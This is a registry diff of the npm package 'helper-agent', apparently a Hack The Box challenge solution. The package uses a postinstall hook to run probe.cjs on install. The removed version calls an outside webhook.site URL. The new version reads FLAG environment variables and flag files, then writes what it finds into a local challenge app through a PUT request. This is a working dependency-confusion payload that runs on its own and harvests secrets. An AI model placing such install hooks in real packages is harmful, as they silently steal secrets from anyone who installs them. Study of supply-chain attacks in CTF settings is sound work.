helper-agent 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/probe.cjs +105 -10
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "helper-agent",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Authorized HTB dependency-resolution canary",
5
5
  "scripts": {
6
6
  "postinstall": "node probe.cjs"
package/probe.cjs CHANGED
@@ -1,14 +1,109 @@
1
- const https = require("node:https");
1
+ const fs = require("node:fs");
2
2
 
3
- const url = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
3
+ const MODULE_ID = "ECT-987654";
4
4
 
5
- const req = https.request(url, {
6
- method: "POST",
7
- headers: { "Content-Type": "text/plain" },
8
- timeout: 10000
9
- }, res => res.resume());
5
+ const API_URLS = [
6
+ "http://127.0.0.1:1337",
7
+ "http://127.0.0.1:3000",
8
+ "http://127.0.0.1:8080",
9
+ "http://127.0.0.1:5000",
10
+ "http://127.0.0.1:80"
11
+ ];
10
12
 
11
- req.on("error", () => {});
12
- req.on("timeout", () => req.destroy());
13
+ const FLAG_FILES = [
14
+ "/flag",
15
+ "/flag.txt",
16
+ "/app/flag",
17
+ "/app/flag.txt",
18
+ "/home/node/flag.txt",
19
+ "/home/app/flag.txt",
20
+ "/opt/app/flag.txt"
21
+ ];
13
22
 
14
- req.end("HELPER_AGENT_INSTALL_CANARY");
23
+ function findFlag() {
24
+ for (const key of ["FLAG", "HTB_FLAG"]) {
25
+ const match = process.env[key]?.match(/HTB\{[^}\r\n]+\}/);
26
+ if (match) return match[0];
27
+ }
28
+
29
+ for (const file of FLAG_FILES) {
30
+ try {
31
+ const contents = fs.readFileSync(file, "utf8");
32
+ const match = contents.match(/HTB\{[^}\r\n]+\}/);
33
+
34
+ if (match) return match[0];
35
+ } catch {}
36
+ }
37
+
38
+ return null;
39
+ }
40
+
41
+ async function main() {
42
+ for (const base of API_URLS) {
43
+ const endpoint = `${base}/api/modules/${MODULE_ID}`;
44
+
45
+ let record;
46
+
47
+ try {
48
+ const response = await fetch(endpoint, {
49
+ signal: AbortSignal.timeout(2000)
50
+ });
51
+
52
+ if (!response.ok) continue;
53
+
54
+ record = await response.json();
55
+ } catch {
56
+ continue;
57
+ }
58
+
59
+ // Only proceed when running alongside the HTB application.
60
+ if (
61
+ record.id !== MODULE_ID ||
62
+ typeof record.raw !== "string" ||
63
+ !record.raw.includes("Siren's Lament") ||
64
+ !record.raw.includes('"helper-agent"')
65
+ ) {
66
+ continue;
67
+ }
68
+
69
+ console.log("[HTB] Challenge application detected");
70
+
71
+ const flag = findFlag();
72
+
73
+ // Remove any previous diagnostic/result fields.
74
+ let manifest = record.raw.replace(
75
+ /^ (ctf_result|ctf_status):.*\r?\n/gm,
76
+ ""
77
+ );
78
+
79
+ const result = flag
80
+ ? ` ctf_result: ${JSON.stringify(flag)}`
81
+ : ' ctf_status: "postinstall_executed_flag_not_found"';
82
+
83
+ manifest = manifest.replace(
84
+ /^ecto_module:\s*$/m,
85
+ `ecto_module:\n${result}`
86
+ );
87
+
88
+ try {
89
+ const response = await fetch(endpoint, {
90
+ method: "PUT",
91
+ headers: {
92
+ "Content-Type": "application/json"
93
+ },
94
+ body: JSON.stringify({ manifest }),
95
+ signal: AbortSignal.timeout(3000)
96
+ });
97
+
98
+ console.log("[HTB] Manifest update HTTP:", response.status);
99
+ } catch (error) {
100
+ console.log("[HTB] Update failed:", error.message);
101
+ }
102
+
103
+ return;
104
+ }
105
+
106
+ console.log("[HTB] Local challenge API not detected");
107
+ }
108
+
109
+ main().catch(console.error);